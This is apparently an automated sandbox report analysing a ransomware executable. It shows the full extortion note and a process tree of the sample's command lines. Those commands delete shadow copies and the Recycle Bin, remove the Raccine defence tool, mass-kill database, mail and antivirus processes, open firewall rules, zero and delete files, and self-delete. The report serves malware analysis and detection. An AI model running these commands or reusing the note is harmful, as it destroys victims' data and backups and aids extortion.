Analysis

  • max time kernel
    154s
  • max time network
    109s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/04/2023, 02:33

General

  • Target
    367be023f4a72163883ac2b7b6a1f40215e6431aee2b560f68bd8f0385d9c2ae.exe
  • Size 108KB
  • Sample230408-c1y3fabe68
  • SHA256 367be023f4a72163883ac2b7b6a1f40215e6431aee2b560f68bd8f0385d9c2ae
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Path
  • C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt

Ransom Note
  • ::: Greetings ::: Little FAQ: .1. Q: Whats Happen? A: Your files have been encrypted. The file structure was not damaged, we did everything possible so that this could not happen. .2. Q: How to recover files? A: If you wish to decrypt your files you will need to pay in Monero(XMR) - this is one of the types of cryptocurrency, you can get acquainted with it in more detail here: https://www.getmonero.org/ .3. Q: What about guarantees? A: Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. .4. Q: How to contact with you? A: Please, write us to our qTOX account: A2D64928FE333BF394C79BB1F0B8F3E85AFE84F913135CCB481F0B13ADDDD1055AC5ECD33A05 You can learn about this way of communication and download it here: https://qtox.github.io/ Or use Bitmessage and write to our address: BM-NC6V9JcMRuLPnSuPFN8upRPRRmHEMSFA You can learn about this way of communication and download it here: https://wiki.bitmessage.org/ and here: https://github.com/Bitmessage/PyBitmessage/releases/ .5. Q: How will the decryption process proceed after payment? A: After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. .6. Q: If I don’t want to pay bad people like you? A: If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause only we have the private key. In practice - time is much more valuable than money. :::BEWARE::: DON'T try to change encrypted files by yourself! If you will try to use any third party software for restoring your data or antivirus solutions - please make a backup for all encrypted files! Any changes in encrypted files may entail damage of the private key and, as result, the loss all data. Key Identifier: bzCHMg5ELku+wABeJP547W/vwJALLnhouSrKyYHybgAXRIdCTd2oSc8Zg39q6gcg0VSOpxGgKd00TZ9wsR/SXrRQRC8+ibbqaMvDDYUtVTVVREMpS0rv/q9b8c9ufLw4rDSpP2NtUL9KGUhVF+2yuw8y3KNzksB5vlctTra2o8odCuVLPnBxx0ZmYoMBbDHQkBtoMcnGZUr2ONY8oOc0Y+8TOPjYiEr4Ep6X53U+YvVHGIqKxEGJ28FjNRaAqoJzLn4Cz+ClaS72vDAAUi1Eq0LwcZDIGyWVRZRk/VPk3a4vYg5UYkR2eES87TI/tLguDT+bsVUxqmBVl8QsMP9T+DlUUecsM9gzDpBvHr5K+pIS0zExRu/i+dKhqy7/pWffkikXmKIXCffs4EJ1wiXuIBL2A4hnFjuT2lowuE+WGCbmrEzzOxfxVPf7a2HFJ5A3ZyZfwTXvcBAtmtPuZk/JlBeKSUCfhux8k1gSiEIenl18rmGg+tNiTb+rQx7NUeQk5TffOdY5JrPXJTZDibCfTC1I5hSnNtxD0TZ09LJsUp4tblRq9WDJT5i7nAtqbxfK+G40MwQwdDq/n0RAQQuiz3sSOHmJTR/8xWNowPaHoYmLsNwOcXiq5vLzCOu3Vasm9x3casB3R504ZToeXBHbBpT8oCIgpVQ3gBN9LKu/4Ck= Number of files that were processed is: 1079 PC Hardware ID: A0674C6B
URLs
  • https://www.getmonero.org/

  • https://qtox.github.io/

  • https://wiki.bitmessage.org/

  • https://github.com/Bitmessage/PyBitmessage/releases/

Signatures

  • Downloads MZ/PE file
  • Downloads PsExec from SysInternals website 1 IoCs

    Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in Program Files directory 48 IoCs
  • Drops file in Windows directory 24 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 48 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\367be023f4a72163883ac2b7b6a1f40215e6431aee2b560f68bd8f0385d9c2ae.exe
    "C:\Users\Admin\AppData\Local\Temp\367be023f4a72163883ac2b7b6a1f40215e6431aee2b560f68bd8f0385d9c2ae.exe"
    1⤵
    • Modifies extensions of user files
    • Checks computer location settings
    • Drops startup file
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:912
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4600
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:2684
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:2384
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:4036
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
          • Launches sc.exe
          PID:1932
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SSDPSRV start= auto
          2⤵
          • Launches sc.exe
          PID:3424
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SQLTELEMETRY start= disabled
          2⤵
          • Launches sc.exe
          PID:1588
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
          2⤵
            PID:3584
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config upnphost start= auto
            2⤵
            • Launches sc.exe
            PID:3652
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config FDResPub start= auto
            2⤵
            • Launches sc.exe
            PID:3852
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
            2⤵
            • Launches sc.exe
            PID:4124
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SQLWriter start= disabled
            2⤵
            • Launches sc.exe
            PID:4904
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SstpSvc start= disabled
            2⤵
            • Launches sc.exe
            PID:4108
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mspub.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3896
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM xfssvccon.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4464
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM CNTAoSMgr.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5004
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mspub.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5036
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopqos.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3832
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlwriter.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4380
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM Ntrtscan.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:880
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM tbirdconfig.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3200
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2564
          • C:\Windows\SysWOW64\netsh.exe
            "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
            2⤵
            • Modifies Windows Firewall
            PID:3392
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM isqlplussvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2088
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM dbeng50.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4112
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mysqld.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4908
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM onenote.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2184
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM thebat64.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2616
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqbcoreservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2584
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM ocomm.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4720
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM PccNTMon.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4928
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM firefoxconfig.exe /F
            2⤵
            • Kills process with taskkill
            PID:1972
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM agntsvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2192
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM msaccess.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1476
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM infopath.exe /F
            2⤵
            • Kills process with taskkill
            PID:4688
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM outlook.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2996
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM thebat.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4888
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mbamtray.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3744
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM tmlisten.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1896
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM zoolz.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5100
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM steam.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2848
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM encsvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:824
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM msftesql.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1456
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" IM thunderbird.exe /F
            2⤵
            • Kills process with taskkill
            PID:2532
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM dbsnmp.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3680
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM powerpnt.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4592
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM excel.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1672
          • C:\Windows\SysWOW64\netsh.exe
            "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
            2⤵
            • Modifies Windows Firewall
            PID:2164
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopqos.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5060
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlbrowser.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2672
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlservr.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3196
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM synctime.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:888
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM visio.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4696
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1968
          • C:\Windows\SysWOW64\arp.exe
            "arp" -a
            2⤵
              PID:4196
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM winword.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3368
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mysqld-nt.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4300
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM wordpad.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2016
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mysqld-opt.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1972
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4688
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM ocautoupds.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3652
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM ocssd.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4816
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM oracle.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2964
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM sqlagent.exe /F
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1632
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:224
            • C:\Windows\SysWOW64\notepad.exe
              "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
              2⤵
              • Opens file in notepad (likely ransom note)
              PID:4484
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
              2⤵
                PID:3428
                • C:\Windows\SysWOW64\PING.EXE
                  ping 127.0.0.7 -n 3
                  3⤵
                  • Runs ping.exe
                  PID:2696
                • C:\Windows\SysWOW64\fsutil.exe
                  fsutil file setZeroData offset=0 length=524288 “%s”
                  3⤵
                    PID:3360
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\367be023f4a72163883ac2b7b6a1f40215e6431aee2b560f68bd8f0385d9c2ae.exe
                  2⤵
                    PID:1668
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 3
                      3⤵
                        PID:3388

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        __PSScriptPolicyTest_2ufqiwok.ltn.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ufqiwok.ltn.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        RESTORE_FILES_INFO.txt

                        • Path C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
                        • Size 2KB
                        • SHA256 b370661f706870674f94b88646c81405cb8cac8ce5f8856a9e5dc930c42b631a
                        • MD5 SHA1 SHA512

                        RESTORE_FILES_INFO.txt

                        • Path C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
                        • Size 2KB
                        • SHA256 b370661f706870674f94b88646c81405cb8cac8ce5f8856a9e5dc930c42b631a
                        • MD5 SHA1 SHA512

                        memory/224-195-0x0000000005BD0000-0x0000000005C36000-memory.dmp

                        memory/224-192-0x00000000029A0000-0x00000000029D6000-memory.dmp

                        memory/224-193-0x0000000005470000-0x0000000005A98000-memory.dmp

                        memory/224-194-0x0000000005400000-0x0000000005422000-memory.dmp

                        memory/224-205-0x0000000002A70000-0x0000000002A80000-memory.dmp

                        memory/224-206-0x0000000002A70000-0x0000000002A80000-memory.dmp

                        memory/224-207-0x00000000062D0000-0x00000000062EE000-memory.dmp

                        memory/912-191-0x0000000004D70000-0x0000000004D80000-memory.dmp

                        memory/912-136-0x0000000005730000-0x0000000005CD4000-memory.dmp

                        memory/912-133-0x00000000003B0000-0x00000000003D2000-memory.dmp

                        memory/912-135-0x0000000004D70000-0x0000000004D80000-memory.dmp

                        memory/912-134-0x0000000004D80000-0x0000000004DE6000-memory.dmp